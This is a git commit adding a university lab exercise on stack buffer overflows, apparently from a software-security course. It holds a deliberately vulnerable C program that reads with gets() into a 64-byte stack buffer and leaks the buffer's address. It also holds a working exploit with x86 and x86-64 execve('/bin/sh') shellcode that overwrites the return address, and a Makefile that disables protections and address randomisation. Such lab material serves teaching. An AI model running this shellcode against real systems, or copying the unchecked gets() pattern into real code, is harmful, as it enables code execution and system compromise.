First part of TD5

This commit is contained in:
Yorick Barbanneau 2023-03-09 16:04:48 +01:00
parent eceb4717df
commit 33f23e8538
9 changed files with 204 additions and 0 deletions

View file

@ -0,0 +1,35 @@
CC = gcc
CFLAGS = -Wall -Wextra -O0 -no-pie -lm -g -std=c99 -zexecstack
SRC = $(wildcard *.c)
TGT = $(subst .c,,$(SRC))
BUILD_DIR = build
DUMP_DIR = dump
pframe:
curl -o pframe.tgz https://dept-info.labri.fr/~thibault/SecuLog/pframe.tgz && \
tar -xf pframe.tgz &&\
rm -rf pframe.tgz
.gdbinit:
configure: pframe .gdbinit
$(shell echo "python import pframe" > .gdbinit)
$(BUILD_DIR)/%: %.c
$(shell mkdir -p $(BUILD_DIR))
$(CC) $(CFLAGS) -o $@ $<
build: $(addprefix $(BUILD_DIR)/, $(TGT)))
PHONY: gdb
gdb: build/exploit build/anodin configure
./$(BUILD_DIR)/exploit > hack.txt &
PYTHONPATH=${PWD}/pframe${PYTHONPATH:+:${PYTHONPATH}} \
setarch -R gdb ./$(BUILD_DIR)/anodin --command=$(subst gdb_,,$@).gdb
rm hack.txt
PHONY: clean
clean:
@rm -rf $(BUILD_DIR) pframe .gdbinit

View file

@ -0,0 +1,23 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int litentier(void) {
unsigned char buf[64];
int i;
printf("%p\n", buf);
printf("> ");
fflush(stdout);
gets(buf);
i=atoi(buf);
return i;
}
int main(int argc, char *argv[]) {
while (1) {
int i;
i = litentier();
printf("ok %d\n", i);
}
}

View file

@ -0,0 +1,2 @@
b litentier
r < hack.txt

View file

@ -0,0 +1,62 @@
#include <stdlib.h>
#include <stdio.h>
unsigned char exploit[1024] = {
0x90, 0x90, 0x90, 0x90, // A few nops for some margin
0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90,
#ifdef __x86_64__
/* 64 bit version */
0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next
'/','b','i','n','/','s','h','\0',
0x5f, // pop the address
0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, // execve system call
0x6a, 0x00, // push NULL at the end of the array
0x48, 0x89, 0xe2, // envp
0x57, // push adress
0x48, 0x89, 0xe6, // argv
0x0f, 0x05, // system call!
#else
/* 32 bit version */
0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next
'/','b','i','n','/','s','h','\0',
0x5b, // pop the adress
0xb8, 0x0b, 0x00, 0x00, 0x00, // execve system call
0x6a, 0x00, // push NULL at the end of the array
0x89, 0xe2, // envp
0x53, // push adress
0x89, 0xe1, // argv
0xcd, 0x80, // system call!
#endif
};
int main(void) {
int i;
void **exploit_ptr = (void*) &exploit;
void *ptr;
fprintf(stderr,"Type the buf address printed by anodin\n");
scanf("%p", &ptr);
// Un peu de marge
ptr += 8;
// écraser l'adresse de retour
for (i = 0; i < 8; i++)
exploit_ptr[64/sizeof(void*)+i] = ptr;
for (i=0;i<sizeof(exploit);i++)
putchar(exploit[i]);
for (i=0;i<8192;i++)
putchar('\n');
printf("touch /tmp/ahah\n");
printf("echo \"I created file\" /tmp/ahah \\!\n");
fflush(stdout);
return 0;
}